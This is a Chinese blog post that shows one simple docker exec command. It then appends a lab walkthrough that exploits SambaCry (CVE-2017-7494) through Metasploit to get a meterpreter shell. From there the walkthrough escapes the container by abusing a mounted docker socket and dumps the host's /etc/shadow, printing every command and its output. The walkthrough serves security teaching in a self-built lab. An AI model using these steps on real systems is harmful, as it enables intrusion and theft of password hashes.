在宿主机上执行docker容器内部的shell或程序方式

 更新时间:2020年11月18日 11:25:00   作者:牛牛妞妞NN  
这篇文章主要介绍了在宿主机上执行docker容器内部的shell或程序方式,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧

为了避免反复进入docker容器内部操作,可以将一系列容器内部的指令由宿主机来操作完成。

在宿主机(作者主机为windows7)上执行centos容器(name为centos-1)中/usr目录下的“printer”可执行程序,该程序输出为打印“123”。

C:\Users\Administrator>docker exec -it centos-1 /bin/bash -c "cd usr && ./printer" 123

成功。

补充知识:利用Docker容器的不安全部署获取宿主机权限

前言

滥用容器( container)及逃逸的方法有多种,本文将讨论最基本的一种,即滥用docker socket来逃逸容器并在宿主机上以root身份执行代码。

实验环境设置

由于我们将使用容器,因此你必须安装docker。

创建网络

首先,我们在创建容器的地方创建一个docker网络:

docker network create pwnage

启动易受攻击的容器

在本示例中,我将使用受SambaCry漏洞(CVE-2017-7494)影响的容器。有关该漏洞的更多信息,可以参阅opsxcq/exploit-CVE-2017-7494。

此漏洞允许你在Samba服务器中远程代码执行,我们将docker socket添加到容器中,以下是一个滥用docker的示例。

docker run --rm -it \
    --name vulnerable \
    --network pwnage \
    -v '/var/run/docker.sock:/var/run/docker.sock' \
    vulnerables/cve-2017-7494

启动攻击机

实验环境设置完成后,接下来我们需要将攻击者的主机添加到网络中。Samba Cry存储库中有一个漏洞利用代码,但这里我将使用Metasploit,因为它更容易上传我所需的内容。

我已经为此构建了一个映像,只需运行bellow命令,所有内容都将根据实验环境需要运行:

docker run --rm -it \
    --network pwnage \
    -v '/usr/bin/docker:/docker:ro' \
    strm/metasploit

加载完成后,你将看到如下界面。

攻击利用

信息收集

在任何攻击或测试中,信息收集都是必不可少的一个环节。因此,让我们先来ping下易受攻击的容器检查下当前的连接情况。

ping -c 2 vulnerable

如果一切正常,你应该能看到以下输出信息。

msf5 > ping -c 2 vulnerable 
[*] exec: ping -c 2 vulnerable 
 
PING vulnerable (172.20.0.2) 56(84) bytes of data.
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 time=0.120 ms
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 time=0.097 ms
 
--- vulnerable ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 0.097/0.108/0.120/0.015 ms

然后,我们进行基本的smb共享枚举:

use auxiliary/scanner/smb/smb_enumshares
set rhosts vulnerable
run

输出结果如下:

msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set rhosts vulnerable
rhosts => vulnerable
msf5 auxiliary(scanner/smb/smb_enumshares) > run
 
[+] 172.20.0.2:139    - data - (DS) Data
[+] 172.20.0.2:139    - IPC$ - (I) IPC Service (Crying samba)
[*] vulnerable:      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

可以看到,这个samba服务器中有一个名为data的共享。

获取shell

下一步我们要做的是,针对宿主机运行漏洞利用程序获取shell。在Metasploit中,该漏洞名为is_known_pipename,位于exploit/linux/samba/is_known_pipename。

运行bellow命令攻击宿主机:

use exploit/linux/samba/is_known_pipename
set RHOST vulnerable
set RPORT 445
set payload linux/x64/meterpreter/bind_tcp
set TARGET 3
set SMB_FOLDER data
set SMBUser sambacry
set SMBPass nosambanocry
exploit

如果一切顺利,你将获取到一个meterpreter shell。如下:

msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOST vulnerable
RHOST => vulnerable
msf5 exploit(linux/samba/is_known_pipename) > set RPORT 445
RPORT => 445
msf5 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf5 exploit(linux/samba/is_known_pipename) > set TARGET 3
TARGET => 3
msf5 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER data
SMB_FOLDER => data
msf5 exploit(linux/samba/is_known_pipename) > set SMBUser sambacry
SMBUser => sambacry
msf5 exploit(linux/samba/is_known_pipename) > set SMBPass nosambanocry
SMBPass => nosambanocry
msf5 exploit(linux/samba/is_known_pipename) > exploit
 
[*] vulnerable:445 - Using location \\vulnerable\data\ for the path
[*] vulnerable:445 - Retrieving the remote path of the share 'data'
[*] vulnerable:445 - Share 'data' has server-side path '/data
[*] vulnerable:445 - Uploaded payload to \\vulnerable\data\shyyEPPk.so
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using \\PIPE\/data/shyyEPPk.so...
[-] vulnerable:445 -  >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using /data/shyyEPPk.so...
[-] vulnerable:445 -  >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Started bind TCP handler against vulnerable:4444
[*] Sending stage (816260 bytes) to vulnerable
 
meterpreter >

提权

我们将通过滥用容器内可用的docker socket来提权。由于docker在宿主机上是以root身份运行的,因此它也具有root权限。我们可以滥用它来执行多项操作。例如,使用—privileged选项可以为我们提供许多扩展功能,以下是从docker官方文档中提取的解释文本:

默认情况下,Docker的容器是没有特权的,例如不能在容器中再启动一个容器。这是因为默认情况下容器是不能访问任何其它设备的。但是通过”privileged”,容器就拥有了访问任何其它设备的权限。当操作者执行docker run —privileged时,Docker将拥有访问主机所有设备的权限,同时Docker也会在apparmor或者selinux做一些设置,使容器可以容易的访问那些运行在容器外部的设备。

你可以使用—device选项访问设备。但在本示例中,我将映射toor文件系统 (/) 到容器中并访问它。

由于此容器中没有docker客户端,因此下一步我们要做的就是在目标容器中设置docker客户端及其依赖项。你只需运行以下命令,即可完成所有这些操作。

upload /docker /docker
upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
chmod 777 /docker
chmod +x /docker
meterpreter > upload /docker /docker
[*] uploading : /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] uploaded  : /docker -> /docker
meterpreter > upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploading : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] Uploaded -1.00 B of 38.47 KiB (-0.0%): /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploaded  : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
meterpreter > chmod 777 /docker
meterpreter > chmod +x /docker
meterpreter >

现在,我们就可以使用docker来访问宿主机上的文件系统了。\

execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"

我们来转储下本地用户的哈希,输出结果如下:

meterpreter > execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
Process 113 created.
Channel 13 created.
root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::
daemon:*:17488:0:99999:7:::
bin:*:17488:0:99999:7:::
sys:*:17488:0:99999:7:::
sync:*:17488:0:99999:7:::
games:*:17488:0:99999:7:::
man:*:17488:0:99999:7:::
lp:*:17488:0:99999:7:::
mail:*:17488:0:99999:7:::
news:*:17488:0:99999:7:::

以上这篇在宿主机上执行docker容器内部的shell或程序方式就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持脚本之家。

相关文章

  • docker compose部署cassandra集群的操作代码

    docker compose部署cassandra集群的操作代码

    这篇文章主要介绍了docker compose部署cassandra集群的操作代码,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧
    2024-03-03
  • linux中docker的安装教程

    linux中docker的安装教程

    这篇文章主要介绍了linux中docker的安装教程,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-10-10
  • docker-compose部署Yapi的方法

    docker-compose部署Yapi的方法

    这篇文章主要介绍了docker-compose部署Yapi,需要的朋友可以参考下
    2022-04-04
  • docker中的python代码打印失效的解决

    docker中的python代码打印失效的解决

    这篇文章主要介绍了docker中的python代码打印失效的解决,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2024-07-07
  • Docker中容器数据卷(Data Volume)和数据管理详解

    Docker中容器数据卷(Data Volume)和数据管理详解

    本文主要给大家介绍了关于Docker中容器数据卷(Data Volume)和数据管理的相关资料,文中介绍的很详细,对大家具有一定的参考价值,需要的朋友们下面来一起看看吧。
    2017-02-02
  • 使用Docker运行Microsoft SQL Server 2017的方法

    使用Docker运行Microsoft SQL Server 2017的方法

    本篇文章主要介绍了使用Docker运行Microsoft SQL Server 2017的方法,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2017-11-11
  • 浅谈关于Docker容器互联的初步实践

    浅谈关于Docker容器互联的初步实践

    这篇文章主要介绍了浅谈关于Docker容器互联的初步实践,本文介绍了使用网桥(bridge)来对容器进行互联,非常具有实用价值,需要的朋友可以参考下
    2018-10-10
  • 详解ASP.NET Core 网站在Docker中运行

    详解ASP.NET Core 网站在Docker中运行

    本篇文章主要介绍了详解ASP.NET Core 网站在Docker中运行,非常具有实用价值,需要的朋友可以参考下
    2017-05-05
  • Docker拉镜像报错error pulling image configuration: unknown blob

    Docker拉镜像报错error pulling image configuration:

    这篇文章主要介绍了Docker拉镜像报错error pulling image configuration: unknown blob的问题及解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-09-09
  • Centos7 安装部署Kubernetes(k8s)集群实现过程

    Centos7 安装部署Kubernetes(k8s)集群实现过程

    这篇文章主要为大家介绍了Centos7 安装部署Kubernetes(k8s)集群实现过程详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2022-11-11

最新评论